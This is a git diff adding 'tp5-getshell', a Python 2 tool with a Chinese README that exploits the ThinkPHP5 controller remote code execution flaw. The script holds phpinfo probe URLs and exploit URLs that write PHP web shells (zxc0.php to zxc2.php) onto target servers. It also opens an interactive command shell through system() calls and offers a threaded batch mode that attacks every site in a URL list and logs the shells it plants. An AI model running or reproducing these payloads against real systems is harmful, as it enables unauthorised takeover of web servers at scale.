diff --git a/tp5-getshell/README.md b/tp5-getshell/README.md
new file mode 100644
index 00000000..25d50b8f
--- /dev/null
+++ b/tp5-getshell/README.md
@@ -0,0 +1,84 @@
+tp5-getshell.py - thinkphp5 rce漏洞检测工具
+==
+
+-----------------------
+
+
+# 概述
+
+
+控制器过滤不严导致rce,漏洞详情参考
+
+[thinkphp5 RCE漏洞重现及分析](demo/lsablog.com-ThinkPHP5 RCE漏洞重现及分析.pdf)
+
+
+本工具支持单url/批量检测,有phpinfo模式、cmd shell模式、getshell(写一句话)模式,批量检测直接使用getshell模式。
+
+
+
+-----------------------
+
+
+
+
+# 需求
+
+
+python2.7
+
+
+pip install -r requirements.txt
+
+
+
+-----------------------
+
+
+
+# 快速开始
+
+
+python tp5-getshell.py -h
+
+![](demo/p4.png)
+
+单url检测(phpinfo模式)
+
+使用4种poc-phpinfo检测
+
+python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/
+![](demo/p3.png)
+
+
+单url检测(getshell模式)
+
+使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
+
+python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/ –exploit
+
+![](demo/p2.png)
+
+
+单url检测(cmd shell模式)
+
+python tp5-getshell.py -u http://www.xxx.com/ –cmdshell
+
+![](demo/p1.png)
+
+
+批量检测(getshell)
+
+使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
+
+python tp5-getshell.py -f urls.txt -t 2 -s 10
+![](demo/p0.png)
+
+
+----------------------
+
+# 反馈
+
+博客: http://www.lsablog.com/
+gmail: lsasguge196@gmail.com
+qq: 2894400469@qq.com
+issues: https://github.com/theLSA/tp5-getshell/issues
diff --git a/tp5-getshell/batch_result/20181212002851/20181212002851/success.txt b/tp5-getshell/batch_result/20181212002851/20181212002851/success.txt
new file mode 100644
index 00000000..e8709317
--- /dev/null
+++ b/tp5-getshell/batch_result/20181212002851/20181212002851/success.txt
@@ -0,0 +1 @@
+shell in here
\ No newline at end of file
diff --git "a/tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf" "b/tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf"
new file mode 100644
index 00000000..4728c0a0
Binary files /dev/null and "b/tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf" differ
diff --git a/tp5-getshell/demo/p0.png b/tp5-getshell/demo/p0.png
new file mode 100644
index 00000000..3c13f368
Binary files /dev/null and b/tp5-getshell/demo/p0.png differ
diff --git a/tp5-getshell/demo/p1.png b/tp5-getshell/demo/p1.png
new file mode 100644
index 00000000..c478e770
Binary files /dev/null and b/tp5-getshell/demo/p1.png differ
diff --git a/tp5-getshell/demo/p2.png b/tp5-getshell/demo/p2.png
new file mode 100644
index 00000000..2ff62018
Binary files /dev/null and b/tp5-getshell/demo/p2.png differ
diff --git a/tp5-getshell/demo/p3.png b/tp5-getshell/demo/p3.png
new file mode 100644
index 00000000..8a749bb2
Binary files /dev/null and b/tp5-getshell/demo/p3.png differ
diff --git a/tp5-getshell/demo/p4.png b/tp5-getshell/demo/p4.png
new file mode 100644
index 00000000..7c8fa35a
Binary files /dev/null and b/tp5-getshell/demo/p4.png differ
diff --git a/tp5-getshell/requirements.txt b/tp5-getshell/requirements.txt
new file mode 100644
index 00000000..b11c1fb6
--- /dev/null
+++ b/tp5-getshell/requirements.txt
@@ -0,0 +1,2 @@
+requests==2.20.0
+beautifulsoup4==4.6.3
diff --git a/tp5-getshell/tp5-getshell.py b/tp5-getshell/tp5-getshell.py
new file mode 100644
index 00000000..47fda7e1
--- /dev/null
+++ b/tp5-getshell/tp5-getshell.py
@@ -0,0 +1,322 @@
+#coding:utf-8
+#Author:LSA
+#Description: thinkphp5 rce getshell
+#Date:20181211
+
+import requests
+import optparse
+import os
+import datetime
+import Queue
+import threading
+import sys
+from bs4 import BeautifulSoup
+from requests.packages import urllib3
+
+reload(sys)
+sys.setdefaultencoding('utf-8')
+
+lock = threading.Lock()
+
+q0 = Queue.Queue()
+threadList = []
+global succ
+succ = 0
+headers = {}
+headers["User-Agent"] = 'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11'
+
+
+poc0 = '/index.php/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1'
+poc1 = '/index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1'
+poc2 = '/index.php/?s=index/\\think\Request/input&filter=phpinfo&data=1'
+poc3 = '/index.php?s=/index/\\think\\request/cache&key=1|phpinfo'
+poclist = [poc0,poc1,poc2,poc3]
+
+exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content='
+exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]='
+exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'\'>zxc2.php'
+
+explist = [exp0,exp1,exp2]
+
+cmdtest = 'echo zxc000'
+cmdexp0 = '/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[l][]={}'
+cmdexp1 = '/index.php?s=index/\\think\Request/input&filter=system&data={}'
+cmdexp2 = '/index.php?s=/index/\\think\\request/cache&key={}|system'
+cmdexp3 = '/index.php?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={}'
+
+cmdlist = [cmdexp0,cmdexp1,cmdexp2,cmdexp3]
+
+
+
+def tp5_getshell_check(tgtUrl,timeout):
+
+ for p in range(len(poclist)):
+
+
+ fullUrl = tgtUrl + poclist[p]
+ #print fullUrl
+ try:
+ rst = requests.get(fullUrl,headers=headers,timeout=timeout,verify=False)
+ except requests.exceptions.Timeout:
+ print 'phpinfo checked fail! Error: Timeout'
+ continue
+ except requests.exceptions.ConnectionError:
+ print 'phpinfo checked fail! Error: ConnectionError'
+ continue
+ except:
+ print 'phpinfo checked fail! Error: Unkonwn error0'
+ continue
+
+ if rst.status_code == 200:
+
+ if(rst.text.index('PHP Version')):
+ print 'phpinfo checked success! poc' + str(p) + ': ' + poclist[p] + '\n'
+
+ else:
+ soup = BeautifulSoup(rst.text,'lxml')
+ if(soup.find('title')):
+ print 'Poc' + str(p) + ' phpinfo checked fail! Error title: ' + str(soup.title.string) + '\n'
+ else:
+ print 'Poc' + str(p) + ' phpinfo checked fail! ' + str(rst.text[0:11]) + '\n'
+
+ else:
+ print 'Poc' + str(p) + ' phpinfo checked fail! status code: ' + str(rst.status_code) + '\n'
+ continue
+
+def tp5_getshell_cmdshell(tgtUrl,timeout):
+ for c in range(len(cmdlist)):
+ fullUrl = tgtUrl + cmdlist[c].format(cmdtest)
+ #print fullUrl
+ try:
+ rst = requests.get(fullUrl,headers=headers,timeout=timeout,verify=False)
+ #print rst.text
+
+ if rst.status_code == 200:
+ if 'zxc000' in rst.text:
+ print 'Getshell cmd success! now use cmdexp' + str(c) + ': ' + cmdlist[c] + '\n'
+ while True:
+ command = raw_input("cmd>>> ")
+ if command == 'exit':
+ break
+
+ cmdexp = cmdlist[c].format(command)
+ fullUrl1 = tgtUrl + cmdexp
+ cmdResult = requests.get(fullUrl1,headers=headers,timeout=7)
+ print cmdResult.text
+ break
+
+ else:
+ print 'Cmdshell' + str(c) + ' checked fail! status code: ' + str(rst.status_code) + '\n'
+ continue
+
+
+ except requests.exceptions.Timeout:
+ #print 'Getcmdshell fail! Error: Timeout'
+ continue
+ except requests.exceptions.ConnectionError:
+ #print 'Getcmdshell fail! Error: ConnectionError'
+ continue
+ except:
+ #print 'Getcmdshell fail! Error: Unkonwn error0'
+ continue
+
+
+
+ print 'Over'
+
+def tp5_getshell_exploit(tgtUrl,timeout):
+
+ for e in range(len(explist)):
+
+ fullUrl = tgtUrl + explist[e]
+ #print fullUrl
+ try:
+ rst = requests.get(fullUrl,headers=headers,timeout=timeout,verify=False)
+ except requests.exceptions.Timeout:
+ print 'Getshell exploited fail! Error: Timeout'
+ continue
+ except requests.exceptions.ConnectionError:
+ print 'Getshell exploited fail! Error: ConnectionError'
+ continue
+ except:
+ print 'Getshell exploited fail! Error: Unkonwn error0'
+ continue
+
+ if rst.status_code == 200:
+
+ rst1 = requests.get(tgtUrl+'/zxc'+str(e)+'.php',timeout=timeout,verify=False)
+ if rst1.status_code == 200:
+ if rst1.text == '':
+ print 'Getshell! ' + tgtUrl + '/zxc' + str(e) + '.php|pwd:xxxxxx' + '\n'
+ exit()
+ else:
+ soup = BeautifulSoup(rst1.text,'lxml')
+ if(soup.find('title')):
+ print 'Exp' + str(e) + ' getshell exploited fail! Error title: ' + str(soup.title.string) + '\n'
+ else:
+ print 'Exp' + str(e) + ' getshell exploited fail! ' + str(rst1.text[0:11]) + '\n'
+ else:
+
+ print 'Exp' + str(e) + ' getshell exploited fail! Shell status code: ' + str(rst1.status_code) + '\n'
+ else:
+
+ print 'Exp' + str(e) + ' getshell exploited fail! status code: ' + str(rst.status_code) + '\n'
+
+
+def tp5_getshell_batch(timeout,f4success):
+ urllib3.disable_warnings()
+ global countLines
+ while(not q0.empty()):
+
+ tgtUrl = q0.get()
+ for e in range(len(explist)):
+
+ fullUrl = tgtUrl + explist[e]
+ #print fullUrl
+ qcount = q0.qsize()
+ print 'Checking: ' + fullUrl + '---[' + str(countLines - qcount) + '/' + str(countLines) + ']'
+
+ try:
+ rst = requests.get(fullUrl,headers=headers,timeout=timeout,verify=False)
+
+ except requests.exceptions.Timeout:
+ #print 'Getshell failed! Error: Timeout'
+
+ continue
+
+ except requests.exceptions.ConnectionError:
+ #print 'Getshell failed! Error: ConnectionError'
+
+ continue
+
+ except:
+ #print 'Getshell failed! Error: Unkonwn error'
+
+ continue
+
+ if rst.status_code == 200:
+ try:
+ rst1 = requests.get(tgtUrl+'/zxc'+str(e)+'.php',timeout=timeout,verify=False)
+
+ if rst1.status_code == 200:
+
+
+ if rst1.text == '':
+ shellAddr = tgtUrl + '/zxc' + str(e) + '.php|pwd:xxxxxx'
+ print 'Getshell! ' + shellAddr
+ lock.acquire()
+ f4success.write('shell: '+shellAddr+'\n')
+ lock.release()
+ global succ
+ succ = succ + 1
+ break
+ else:
+ continue
+ else:
+
+ #errorState = 'Getshell failed! Error: zxc.php' + str(e) + ' ' + str(rst1.status_code)
+ continue
+
+ except requests.exceptions.Timeout:
+ #print 'Getshell failed! Error: Timeout'
+
+ continue
+
+ except requests.exceptions.ConnectionError:
+ #print 'Getshell failed! Error: ConnectionError'
+
+ continue
+
+ except:
+ #print 'Getshell failed! Error: Unkonwn error'
+
+ continue
+
+
+
+ else:
+ #print 'Getshell failed! status code: ' + str(rst.status_code)
+
+ continue
+
+
+
+
+if __name__ == '__main__':
+
+ print '''
+ ****************************************************
+ * thinkphp5 rce getshell(controller) *
+ * Coded by LSA *
+ ****************************************************
+ '''
+
+ parser = optparse.OptionParser('python %prog ' +'-h (manual)',version='%prog v1.0')
+
+ parser.add_option('-u', dest='tgtUrl', type='string', help='single url')
+
+ parser.add_option('-f', dest='tgtUrlsPath', type ='string', help='urls filepath[exploit default]')
+
+ parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)')
+
+ parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')
+
+ #parser.add_option('--check', dest='check',action='store_true', help='check url but not exploit[default]')
+
+ parser.add_option('--exploit', dest='exploit',action='store_true', help='exploit url')
+
+ parser.add_option('--cmdshell', dest='cmdshell',action='store_true', help='cmd shell mode')
+
+ (options, args) = parser.parse_args()
+
+ #check = options.check
+
+ exploit = options.exploit
+
+ cmdshell = options.cmdshell
+
+ timeout = options.timeout
+
+ tgtUrl = options.tgtUrl
+
+ if tgtUrl and (exploit is None and cmdshell is None):
+
+ tp5_getshell_check(tgtUrl,timeout)
+
+ if tgtUrl and exploit:
+
+ tp5_getshell_exploit(tgtUrl,timeout)
+
+ if tgtUrl and cmdshell:
+
+ tp5_getshell_cmdshell(tgtUrl,timeout)
+
+
+ if options.tgtUrlsPath:
+ tgtFilePath = options.tgtUrlsPath
+ threads = options.threads
+ nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
+ os.mkdir('batch_result/'+str(nowtime))
+ f4success = open('batch_result/'+str(nowtime)+'/'+'success.txt','w')
+ #f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w')
+ urlsFile = open(tgtFilePath)
+ global countLines
+ countLines = len(open(tgtFilePath,'rU').readlines())
+
+ print '===Total ' + str(countLines) + ' urls==='
+
+ for urls in urlsFile:
+ fullUrls = urls.strip()
+ q0.put(fullUrls)
+ for thread in range(threads):
+ t = threading.Thread(target=tp5_getshell_batch,args=(timeout,f4success))
+ t.start()
+ threadList.append(t)
+ for th in threadList:
+ th.join()
+
+
+ print '\n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']###'
+ print 'Results were saved in ./batch_result/' + str(nowtime) + '/'
+ f4success.close()
+ #f4fail.close()
diff --git a/tp5-getshell/urls.txt b/tp5-getshell/urls.txt
new file mode 100644
index 00000000..aa64fe56
--- /dev/null
+++ b/tp5-getshell/urls.txt
@@ -0,0 +1,3 @@
+http://www.xxx.com/
+http://www.yyy.com/public/
+http://www.zzz.com:8080/
\ No newline at end of file